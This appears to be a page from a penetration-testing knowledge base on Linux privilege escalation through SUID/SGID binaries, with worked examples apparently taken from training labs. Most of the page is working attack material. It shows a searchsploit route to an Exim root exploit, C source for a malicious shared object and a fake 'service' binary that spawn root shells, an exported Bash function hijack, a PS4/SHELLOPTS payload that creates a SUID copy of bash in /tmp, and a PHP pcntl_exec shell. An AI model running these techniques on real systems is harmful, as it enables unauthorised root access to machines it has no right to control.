Malleum Knowledge Base

SUID SGID

5 min read

Locate the files file with SUID/SGIG set

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Known exploits

Certain programs install SUID files to aid their operation.

Just as services which run as root can have vulnerabilities we can exploit for a root shell, so too can these SUID files.

Exploits can be found using Searchsploit, Google, and GitHub, in the same way we find exploits for Kernels and Services.

Example

Find the Binaries
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null  
...  
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 ...
Check the version
/usr/sbin/exim-4.84-3 --version
Use searchsploit
searchsploit exim 4.84  
...  
Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh
Transfer the exploit and if it shows bad character change the bad characters
sed -e "s/^M//" 39535.sh > privesc.sh
 
chmod + privesc.sh
 
./privesc.sh

Shared Object Injection

When a program is executed, it will try to load the shared objects it requires.

By using a program called strace, we can track these system calls and determine whether any shared objects were not found.

If we can write to the location the program tries to open, we can create a shared object and spawn a root shell when it is loaded.

Example

Find the files
 
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null  
...  
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so ...
Run strace on suid binary
$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"  
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory)
 
...  
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)
#The libcalc.so shared object could not be found, and the program is looking in our user’s home directory, which we can write to.
Create .config directory with the file
#include <stdio.h>
#include <stdlib.h>
 
static void inject() __attribute__((constructor)); void inject() {
 
setuid(0);
 
    system("/bin/bash -p");
}
Compile
gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
Execute
$ /usr/local/bin/suid-so  
Calculating something, please wait...  
bash-4.1# id  
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...

Path Environment Variable

Find Vulnerable Program (Not using absolute path)

If a program tries to execute another program, the name of that program is likely embedded in the executable file as a string.

We can run strings on the executable file to find strings of characters.

We can also use strace to see how the program is executing. Another program called ltrace may also be of use.

Running strings against a file:
 
  $ strings /path/to/file
 
Running strace against a command:
 
$ strace -v -f -e execve <command> 2>&1 | grep exec
 
Running ltrace against a command:
 
  $ ltrace <command>
Example
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
See if it’S running another program
strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2  
...  
service apache2 start
 
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
 
ltrace /usr/local/bin/suid-env 2>&1 | grep service
create file
vim service.c
 
 
int main() {
    setuid(0);
 
    system("/bin/bash -p");
}
Compile
gcc -o service service.c
Prepend the path and execute
PATH=.:$PATH /usr/local/bin/suid-env

Variant (Abusing shell features #1)

Same as last method where apache service is executed but with absolute path
  1. Verify the version of Bash is lower than 4.2-048:
$ bash --version  
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
  1. Create a Bash function with the name “/usr/sbin/service” and export the function:
function /usr/sbin/service { /bin/bash -p; }
export –f /usr/sbin/service
  1. Execute the SUID file for a root shell:
$ /usr/local/bin/suid-env2  
root@debian:~# id  
uid=0(root) gid=0(root) groups=0(root) ...

Variant (Abusing shell features #2)

Bash has a debugging mode which can be enabled with the –x command line option, or by modifying the SHELLOPTS environment variable to include xtrace.

By default, SHELLOPTS is read only, however the env command allows SHELLOPTS to be set.

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debug statements. This variable can include an embedded command, which will execute every time it is shown.

If a SUID file runs another program via Bash (e.g. by using system() ) these environment variables can be inherited.

If an SUID file is being executed, this command will execute with the privileges of the file owner.

In Bash versions 4.4 and above, the PS4 environment variable is not inherited by shells running as root.

This is another method for the above variant version limitation is 4.4
  1. Optionally, we can also verify with ltrace:
$ ltrace /usr/local/bin/suid-env 2>&1 | grep service

system("service apache2 start"

This reveals that the system function is being used to execute the service program.

  1. Run the SUID file with bash debugging enabled and the PS4 variable assigned to our payload:
$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
 
 
#try first with PS4='<test>'  /usr/local/bin/suid-env
#also try PS4='$(whoami)'
  1. Run the /tmp/rootbash file with the -p command line option to get a root shell:
/tmp/rootbash -p

PHP7.4

 
www-data@gravity:~/html/grav-admin/bin$ CMD="/bin/sh"
www-data@gravity:~/html/grav-admin/bin$ php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"

Graph View